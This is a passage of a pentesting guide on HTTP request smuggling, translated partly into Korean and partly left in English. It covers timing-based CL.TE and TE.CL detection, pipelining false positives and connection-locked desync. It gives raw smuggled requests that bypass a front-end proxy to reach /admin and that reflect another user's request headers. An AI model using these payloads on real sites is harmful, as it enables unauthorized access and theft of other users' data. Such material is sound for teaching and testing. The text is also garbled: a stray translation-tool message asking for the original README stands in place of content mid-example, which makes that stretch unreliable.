HTTP request smuggling ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๋Š” ๊ฒƒ์€ ์ข…์ข… ํƒ€์ด๋ฐ ๊ธฐ๋ฒ•์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ฌ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋ฒ•๋“ค์€ ๋ณ€์กฐ๋œ ์š”์ฒญ์— ๋Œ€ํ•ด ์„œ๋ฒ„๊ฐ€ ์‘๋‹ตํ•˜๋Š” ๋ฐ ๊ฑธ๋ฆฌ๋Š” ์‹œ๊ฐ„์„ ๊ด€์ฐฐํ•˜๋Š” ๊ฒƒ์— ๊ธฐ๋ฐ˜ํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋ฐฉ๋ฒ•๋“ค์€ CL.TE ๋ฐ TE.CL ์ทจ์•ฝ์ ์„ ํƒ์ง€ํ•˜๋Š” ๋ฐ ํŠนํžˆ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•๋“ค ์™ธ์—๋„ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ์ฐพ๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค๋ฅธ ์ „๋žต๊ณผ ๋„๊ตฌ๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค:

CL.TE ์ทจ์•ฝ์  ์ฐพ๊ธฐ (ํƒ€์ด๋ฐ ๊ธฐ๋ฒ• ์‚ฌ์šฉ)

  • ๋ฐฉ๋ฒ•:

  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ๋งŒ๋“œ๋Š” ์š”์ฒญ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

  • ์˜ˆ:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • ๊ด€์ฐฐ:

  • ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„๋Š” Content-Length๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ๋ฉ”์‹œ์ง€๋ฅผ ์กฐ๊ธฐ์— ์ž˜๋ผ๋ƒ…๋‹ˆ๋‹ค.

  • ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋Š” chunked ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋Œ€ํ•˜๊ณ  ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ๋‹ค์Œ chunk๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋ฉฐ ์‘๋‹ต ์ง€์—ฐ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

  • ์ง€ํ‘œ:

  • ํƒ€์ž„์•„์›ƒ ๋˜๋Š” ๊ธด ์‘๋‹ต ์ง€์—ฐ.

  • ๋•Œ๋กœ๋Š” ์ƒ์„ธํ•œ ์„œ๋ฒ„ ์ •๋ณด์™€ ํ•จ๊ป˜ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋กœ๋ถ€ํ„ฐ 400 Bad Request ์˜ค๋ฅ˜๋ฅผ ์ˆ˜์‹ .

TE.CL ์ทจ์•ฝ์  ์ฐพ๊ธฐ (ํƒ€์ด๋ฐ ๊ธฐ๋ฒ• ์‚ฌ์šฉ)

  • ๋ฐฉ๋ฒ•:

  • ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์ทจ์•ฝํ•œ ๊ฒฝ์šฐ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ฒŒ ๋งŒ๋“œ๋Š” ์š”์ฒญ์„ ์ „์†กํ•ฉ๋‹ˆ๋‹ค.

  • ์˜ˆ:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • ๊ด€์ฐฐ:
  • ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„๋Š” Transfer-Encoding์„ ๊ธฐ์ค€์œผ๋กœ ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜๊ณ  ์ „์ฒด ๋ฉ”์‹œ์ง€๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
  • ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋Š” Content-Length ๊ธฐ๋ฐ˜์˜ ๋ฉ”์‹œ์ง€๋ฅผ ๊ธฐ๋Œ€ํ•˜๊ณ  ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๊ธฐ ๋•Œ๋ฌธ์— ์ง€์—ฐ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

์ทจ์•ฝ์  ๋ฐœ๊ฒฌ์„ ์œ„ํ•œ ๊ธฐํƒ€ ๋ฐฉ๋ฒ•

  • ์ฐจ๋“ฑ ์‘๋‹ต ๋ถ„์„:
  • ์š”์ฒญ์˜ ์•ฝ๊ฐ„์”ฉ ๋‹ค๋ฅธ ๋ฒ„์ „์„ ์ „์†กํ•˜๊ณ  ์„œ๋ฒ„ ์‘๋‹ต์ด ์˜ˆ์ƒ์น˜ ๋ชปํ•˜๊ฒŒ ๋‹ค๋ฅด๊ฒŒ ๋‚˜ํƒ€๋‚˜๋Š”์ง€ ๊ด€์ฐฐํ•˜์—ฌ ํŒŒ์‹ฑ ๋ถˆ์ผ์น˜๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  • ์ž๋™ํ™” ๋„๊ตฌ ์‚ฌ์šฉ:
  • Burp Suite์˜ โ€˜HTTP Request Smugglerโ€™ ๊ฐ™์€ ๋„๊ตฌ๋Š” ๋‹ค์–‘ํ•œ ํ˜•ํƒœ์˜ ๋ชจํ˜ธํ•œ ์š”์ฒญ์„ ์ž๋™์œผ๋กœ ์ „์†กํ•˜๊ณ  ์‘๋‹ต์„ ๋ถ„์„ํ•˜์—ฌ ์ด๋Ÿฌํ•œ ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Content-Length ๋ณ€๋™ ํ…Œ์ŠคํŠธ:
  • ์‹ค์ œ ์ฝ˜ํ…์ธ  ๊ธธ์ด์™€ ์ผ์น˜ํ•˜์ง€ ์•Š๋Š” ๋‹ค์–‘ํ•œ Content-Length ๊ฐ’์„ ๊ฐ€์ง„ ์š”์ฒญ์„ ์ „์†กํ•˜๊ณ  ์„œ๋ฒ„๊ฐ€ ์ด๋Ÿฌํ•œ ๋ถˆ์ผ์น˜๋ฅผ ์–ด๋–ป๊ฒŒ ์ฒ˜๋ฆฌํ•˜๋Š”์ง€ ๊ด€์ฐฐํ•ฉ๋‹ˆ๋‹ค.
  • Transfer-Encoding ๋ณ€ํ˜• ํ…Œ์ŠคํŠธ:
  • ๋ชจํ˜ธํ•˜๊ฑฐ๋‚˜ ์†์ƒ๋œ Transfer-Encoding ํ—ค๋”๋ฅผ ๊ฐ€์ง„ ์š”์ฒญ์„ ๋ณด๋‚ด ํ”„๋ก ํŠธ์—”๋“œ์™€ ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ์ด๋Ÿฌํ•œ ์กฐ์ž‘์— ๋Œ€ํ•ด ์–ด๋–ป๊ฒŒ ๋‹ค๋ฅด๊ฒŒ ๋ฐ˜์‘ํ•˜๋Š”์ง€ ๋ชจ๋‹ˆํ„ฐ๋งํ•ฉ๋‹ˆ๋‹ค.

The Expect: 100-continue header

์ด ํ—ค๋”๊ฐ€ http desync๋ฅผ ์•…์šฉํ•˜๋Š” ๋ฐ ์–ด๋–ป๊ฒŒ ๋„์›€์ด ๋˜๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

Special Http Headers

HTTP Request Smuggling ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ

ํƒ€์ด๋ฐ ๊ธฐ๋ฒ•์˜ ์œ ํšจ์„ฑ์„ ํ™•์ธํ•œ ํ›„์—๋Š” ํด๋ผ์ด์–ธํŠธ ์š”์ฒญ์„ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๊ฒ€์ฆํ•˜๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ„๋‹จํ•œ ๋ฐฉ๋ฒ•์€ ์š”์ฒญ์„ poisoningํ•˜๋ ค ์‹œ๋„ํ•˜๋Š” ๊ฒƒ์œผ๋กœ, ์˜ˆ๋ฅผ ๋“ค์–ด /์— ๋Œ€ํ•œ ์š”์ฒญ์ด 404 ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•˜๋„๋ก ๋งŒ๋“œ๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์•ž์„œ Basic Examples์—์„œ ๋‹ค๋ฃฌ CL.TE ๋ฐ TE.CL ์˜ˆ์ œ๋“ค์€ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ๋‹ค๋ฅธ ๋ฆฌ์†Œ์Šค์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ํ•ด๋„ ํด๋ผ์ด์–ธํŠธ์˜ ์š”์ฒญ์„ poisoningํ•˜์—ฌ 404 ์‘๋‹ต์„ ์œ ๋„ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

์ฃผ์š” ๊ณ ๋ ค์‚ฌํ•ญ

๋‹ค๋ฅธ ์š”์ฒญ์„ ๋ฐฉํ•ดํ•˜์—ฌ request smuggling์„ ํ…Œ์ŠคํŠธํ•  ๋•Œ ๋‹ค์Œ์„ ์œ ์˜ํ•˜์„ธ์š”:

  • Distinct Network Connections: โ€œattackโ€ ์š”์ฒญ๊ณผ โ€œnormalโ€ ์š”์ฒญ์€ ๋ณ„๋„์˜ ๋„คํŠธ์›Œํฌ ์—ฐ๊ฒฐ์„ ํ†ตํ•ด ์ „์†ก๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋™์ผํ•œ ์—ฐ๊ฒฐ์„ ์‚ฌ์šฉํ•˜๋ฉด ์ทจ์•ฝ์  ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ๊ฒ€์ฆํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.
  • Consistent URL and Parameters: ๊ฐ€๋Šฅํ•œ ํ•œ ๋‘ ์š”์ฒญ์— ๋Œ€ํ•ด ๋™์ผํ•œ URL ๋ฐ ํŒŒ๋ผ๋ฏธํ„ฐ ์ด๋ฆ„์„ ์‚ฌ์šฉํ•˜์„ธ์š”. ํ˜„๋Œ€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ URL ๋ฐ ํŒŒ๋ผ๋ฏธํ„ฐ์— ๋”ฐ๋ผ ํŠน์ • ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋กœ ์š”์ฒญ์„ ๋ผ์šฐํŒ…ํ•˜๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ผ์น˜์‹œํ‚ค๋ฉด ๋‘ ์š”์ฒญ์ด ๋™์ผํ•œ ์„œ๋ฒ„์—์„œ ์ฒ˜๋ฆฌ๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋†’์•„์ง€๋ฉฐ, ์ด๋Š” ์„ฑ๊ณต์ ์ธ ๊ณต๊ฒฉ์„ ์œ„ํ•ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.
  • Timing and Racing Conditions: โ€œnormalโ€ ์š”์ฒญ(๊ณต๊ฒฉ ์š”์ฒญ์˜ ๊ฐ„์„ญ์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•œ)์€ ๋‹ค๋ฅธ ๋™์‹œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์š”์ฒญ๋“ค๊ณผ ๊ฒฝ์Ÿํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ โ€œattackโ€ ์š”์ฒญ ์งํ›„ ์ฆ‰์‹œ โ€œnormalโ€ ์š”์ฒญ์„ ์ „์†กํ•˜์„ธ์š”. ๋ฐ”์œ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ๋Š” ๊ฒฐ๋ก ์„ ๋‚ด๊ธฐ ์œ„ํ•ด ์—ฌ๋Ÿฌ ์ฐจ๋ก€ ์‹œ๋„๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Load Balancing Challenges: ํ”„๋ก ํŠธ์—”๋“œ ์„œ๋ฒ„๊ฐ€ ๋กœ๋“œ ๋ฐธ๋Ÿฐ์„œ๋กœ ๋™์ž‘ํ•˜๋ฉด ์š”์ฒญ์„ ์—ฌ๋Ÿฌ ๋ฐฑ์—”๋“œ ์‹œ์Šคํ…œ์— ๋ถ„์‚ฐ์‹œํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. โ€œattackโ€ ์š”์ฒญ๊ณผ โ€œnormalโ€ ์š”์ฒญ์ด ์„œ๋กœ ๋‹ค๋ฅธ ์‹œ์Šคํ…œ์— ๋„์ฐฉํ•˜๋ฉด ๊ณต๊ฒฉ์€ ์„ฑ๊ณตํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ์ด ๋กœ๋“œ ๋ฐธ๋Ÿฐ์‹ฑ ํŠน์„ฑ ๋•Œ๋ฌธ์— ์ทจ์•ฝ์ ์„ ํ™•์ธํ•˜๋ ค๋ฉด ์—ฌ๋Ÿฌ ์ฐจ๋ก€ ์‹œ๋„๊ฐ€ ํ•„์š”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Unintended User Impact: ๊ณต๊ฒฉ์ด ์˜๋„์น˜ ์•Š๊ฒŒ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž์˜ ์š”์ฒญ(๋‹น์‹ ์ด ํƒ์ง€์šฉ์œผ๋กœ ๋ณด๋‚ธ โ€œnormalโ€ ์š”์ฒญ์ด ์•„๋‹Œ)์— ์˜ํ–ฅ์„ ๋ฏธ์ณค๋‹ค๋ฉด, ์ด๋Š” ๋‹น์‹ ์˜ ๊ณต๊ฒฉ์ด ๋‹ค๋ฅธ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์‚ฌ์šฉ์ž๋ฅผ ์˜ํ–ฅํ–ˆ๋‹ค๋Š” ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ง€์†์ ์ธ ํ…Œ์ŠคํŠธ๋Š” ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋ฅผ ๋ฐฉํ•ดํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ์ฃผ์˜๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

HTTP/1.1 pipelining ์•„ํ‹ฐํŒฉํŠธ์™€ genuine request smuggling ๊ตฌ๋ถ„ํ•˜๊ธฐ

Connection reuse (keep-alive)์™€ pipelining์€ ๋™์ผํ•œ ์†Œ์ผ“์—์„œ ์—ฌ๋Ÿฌ ์š”์ฒญ์„ ์ „์†กํ•˜๋Š” ํ…Œ์ŠคํŠธ ๋„๊ตฌ์—์„œ ์‰ฝ๊ฒŒ โ€œsmugglingโ€œ์˜ ํ™˜์ƒ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ฌดํ•ดํ•œ ํด๋ผ์ด์–ธํŠธ ์ธก ์•„ํ‹ฐํŒฉํŠธ์™€ ์‹ค์ œ ์„œ๋ฒ„ ์ธก desync๋ฅผ ๊ตฌ๋ถ„ํ•˜๋Š” ๋ฒ•์„ ์ตํžˆ์„ธ์š”.

์™œ pipelining์ด ๊ณ ์ „์ ์ธ false positive๋ฅผ ๋งŒ๋“œ๋Š”๊ฐ€

HTTP/1.1์€ ๋‹จ์ผ TCP/TLS ์—ฐ๊ฒฐ์„ ์žฌ์‚ฌ์šฉํ•˜๊ณ  ๋™์ผํ•œ ์ŠคํŠธ๋ฆผ์—์„œ ์š”์ฒญ๊ณผ ์‘๋‹ต์„ ์—ฐ๊ฒฐํ•ฉ๋‹ˆ๋‹ค. pipelining์—์„œ๋Š” ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์—ฌ๋Ÿฌ ์š”์ฒญ์„ ์—ฐ์†์œผ๋กœ ์ „์†กํ•˜๊ณ  ์ˆœ์„œ๋Œ€๋กœ ์‘๋‹ต์„ ๋ฐ›๊ธฐ๋ฅผ ๊ธฐ๋Œ€ํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์ธ false-positive ์‚ฌ๋ก€๋Š” ๋‹จ์ผ ์—ฐ๊ฒฐ์—์„œ ์ž˜๋ชป๋œ CL.0-style ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋‘ ๋ฒˆ ์žฌ์ „์†กํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

์›๋ณธ ํŒŒ์ผ(src/pentesting-web/http-request-smuggling/README.md)์˜ ๋‚ด์šฉ์„ ์—ฌ๊ธฐ์— ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์„ธ์š”. ๋ถ™์—ฌ๋„ฃ์–ด ์ฃผ์‹œ๋ฉด ์š”์ฒญํ•˜์‹  ๊ทœ์น™(์ฝ”๋“œยท๊ธฐ์ˆ ๋ช…ยทํƒœ๊ทธยท๋งํฌยท๊ฒฝ๋กœ ๋ฏธ๋ฒˆ์—ญ ๋“ฑ)์„ ์ง€์ผœ ์ •ํ™•ํ•˜๊ฒŒ ํ•œ๊ตญ์–ด๋กœ ๋ฒˆ์—ญํ•ด ๋“œ๋ฆฌ๊ฒ ์Šต๋‹ˆ๋‹ค.

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

๋งŒ์•ฝ server๊ฐ€ ์ž˜๋ชป๋œ Content_Length๋ฅผ ๋ฌด์‹œํ–ˆ๋‹ค๋ฉด, FEโ†”BE desync๋Š” ๋ฐœ์ƒํ•˜์ง€ ์•Š๋Š”๋‹ค. reuse ์‹œ, ๋‹น์‹ ์˜ client๋Š” ์‹ค์ œ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ byte-stream์„ ๋ณด๋ƒˆ๊ณ , server๋Š” ์ด๋ฅผ ๋‘ ๊ฐœ์˜ ๋…๋ฆฝ๋œ requests๋กœ ํŒŒ์‹ฑํ–ˆ๋‹ค:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

Impact: none. You just desynced your client from the server framing.

Tip

Burp modules that depend on reuse/pipelining: Turbo Intruder with requestsPerConnection>1, Intruder with โ€œHTTP/1 connection reuseโ€, Repeater โ€œSend group in sequence (single connection)โ€ or โ€œEnable connection reuseโ€.

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • In Burp Intruder/Repeater, turn off HTTP/1 reuse and avoid โ€œSend group in sequenceโ€.
  • In Turbo Intruder, set requestsPerConnection=1 and pipeline=False.
  • If the behavior disappears, it was likely client-side pipelining, unless youโ€™re dealing with connection-locked/stateful targets or client-side desync.
  1. HTTP/2 nested-response check
  • Send an HTTP/2 request. If the response body contains a complete nested HTTP/1 response, youโ€™ve proven a backend parsing/desync bug instead of a pure client artifact.
  1. Partial-requests probe for connection-locked front-ends
  • Some FEs only reuse the upstream BE connection if the client reused theirs. Use partial-requests to detect FE behavior that mirrors client reuse.
  • See PortSwigger โ€œBrowserโ€‘Powered Desync Attacksโ€ for the connection-locked technique.
  1. State probes
  • Look for first- vs subsequent-request differences on the same TCP connection (first-request routing/validation).
  • Burp โ€œHTTP Request Smugglerโ€ includes a connectionโ€‘state probe that automates this.
  1. Visualize the wire
  • Use the Burp โ€œHTTP Hackerโ€ extension to inspect concatenation and message framing directly while experimenting with reuse and partial requests.

Connectionโ€‘locked request smuggling (reuse-required)

Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:

  • Prove the server-side bug
  • Use the HTTP/2 nested-response check, or
  • Use partial-requests to show the FE only reuses upstream when the client does.
  • Show real impact even if direct cross-user socket abuse is blocked:
  • Cache poisoning: poison shared caches via the desync so responses affect other users.
  • Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
  • Bypass FE controls: smuggle restricted paths/methods past the front-end.
  • Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
  • Operator workflow
  • Reproduce with controlled reuse (Turbo Intruder requestsPerConnection=2, or Burp Repeater tab group โ†’ โ€œSend group in sequence (single connection)โ€).
  • Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.

See also connectionโ€‘state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Clientโ€‘side desync constraints

If youโ€™re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks wonโ€™t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.

For background and end-to-end workflows:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
  • โ€œSmuggling or pipelining?โ€ Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder: precise control over connection reuse via requestsPerConnection.
  • Burp HTTP Request Smuggler: includes a connectionโ€‘state probe to spot firstโ€‘request routing/validation.

Note

Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing /admin might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.

Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the /admin path which is typically guarded by the front-end proxy:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

CL.TE attack์—์„œ๋Š” ์ดˆ๊ธฐ ์š”์ฒญ์— Content-Length ํ—ค๋”๊ฐ€ ์‚ฌ์šฉ๋˜๊ณ , ์ดํ›„ ํฌํ•จ๋œ ์š”์ฒญ์€ Transfer-Encoding: chunked ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. front-end proxy๋Š” ์ดˆ๊ธฐ POST ์š”์ฒญ์„ ์ฒ˜๋ฆฌํ•˜์ง€๋งŒ ํฌํ•จ๋œ GET /admin ์š”์ฒญ์„ ๊ฒ€์‚ฌํ•˜์ง€ ๋ชปํ•ด /admin ๊ฒฝ๋กœ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

TE.CL Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

๋ฐ˜๋Œ€๋กœ, TE.CL ๊ณต๊ฒฉ์—์„œ๋Š” ์ดˆ๊ธฐ POST ์š”์ฒญ์ด Transfer-Encoding: chunked๋ฅผ ์‚ฌ์šฉํ•˜๊ณ , ๊ทธ์— ์ด์–ด ํฌํ•จ๋œ ์š”์ฒญ์€ Content-Length ํ—ค๋”๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ฒ˜๋ฆฌ๋œ๋‹ค. CL.TE ๊ณต๊ฒฉ๊ณผ ์œ ์‚ฌํ•˜๊ฒŒ, ํ”„๋ŸฐํŠธ์—”๋“œ ํ”„๋ก์‹œ(front-end proxy)๋Š” ๋ชฐ๋ž˜ ์ „์†ก๋œ GET /admin ์š”์ฒญ์„ ๊ฐ„๊ณผํ•˜์—ฌ ์ œํ•œ๋œ /admin ๊ฒฝ๋กœ์— ์˜๋„์น˜ ์•Š๊ฒŒ ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•œ๋‹ค.

ํ”„๋ŸฐํŠธ์—”๋“œ์˜ ์š”์ฒญ ์žฌ์ž‘์„ฑ ํ™•์ธ

์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์ข…์ข… ๋ฐฑ์—”๋“œ ์„œ๋ฒ„๋กœ ์ „๋‹ฌํ•˜๊ธฐ ์ „์— ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ์„ ์ˆ˜์ •ํ•˜๊ธฐ ์œ„ํ•ด front-end server๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. ์ผ๋ฐ˜์ ์ธ ์ˆ˜์ • ์˜ˆ๋กœ๋Š” ํด๋ผ์ด์–ธํŠธ์˜ IP๋ฅผ ๋ฐฑ์—”๋“œ๋กœ ์ „๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด X-Forwarded-For: <IP of the client> ๊ฐ™์€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒƒ์ด ์žˆ๋‹ค. ์ด๋Ÿฌํ•œ ์ˆ˜์ • ๋ฐฉ์‹์„ ์ดํ•ดํ•˜๋Š” ๊ฒƒ์€ ์ค‘์š”ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋Š” ๋ณดํ˜ธ ์žฅ์น˜๋ฅผ ์šฐํšŒ(bypass protections) ํ•˜๊ฑฐ๋‚˜ ์ˆจ๊ฒจ์ง„ ์ •๋ณด๋‚˜ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐœ๊ฒฌ(uncover concealed information or endpoints) ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ๋“œ๋Ÿฌ๋‚ผ ์ˆ˜ ์žˆ๋‹ค.

ํ”„๋ก์‹œ๊ฐ€ ์š”์ฒญ์„ ์–ด๋–ป๊ฒŒ ๋ณ€๊ฒฝํ•˜๋Š”์ง€ ์กฐ์‚ฌํ•˜๋ ค๋ฉด, ๋ฐฑ์—”๋“œ๊ฐ€ ์‘๋‹ต์—์„œ ์—์ฝ”ํ•˜๋Š” POST ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ฐพ์œผ๋ผ. ๊ทธ๋Ÿฐ ๋‹ค์Œ ์ด ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ๋งˆ์ง€๋ง‰์— ๋‘๊ณ  ๋‹ค์Œ๊ณผ ์œ ์‚ฌํ•œ ์š”์ฒญ์„ ๋งŒ๋“ค์–ด๋ผ:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

์ด ๊ตฌ์กฐ์—์„œ๋Š” ํ›„์† ์š”์ฒญ ๊ตฌ์„ฑ ์š”์†Œ๊ฐ€ search= ๋’ค์— ์ด์–ด ๋ถ™์—ฌ์ง€๋ฉฐ, ์ด ํŒŒ๋ผ๋ฏธํ„ฐ๊ฐ€ ์‘๋‹ต์— ๋ฐ˜์˜๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฐ˜์˜์œผ๋กœ ์ธํ•ด ํ›„์† ์š”์ฒญ์˜ ํ—ค๋”๊ฐ€ ๋…ธ์ถœ๋ฉ๋‹ˆ๋‹ค.

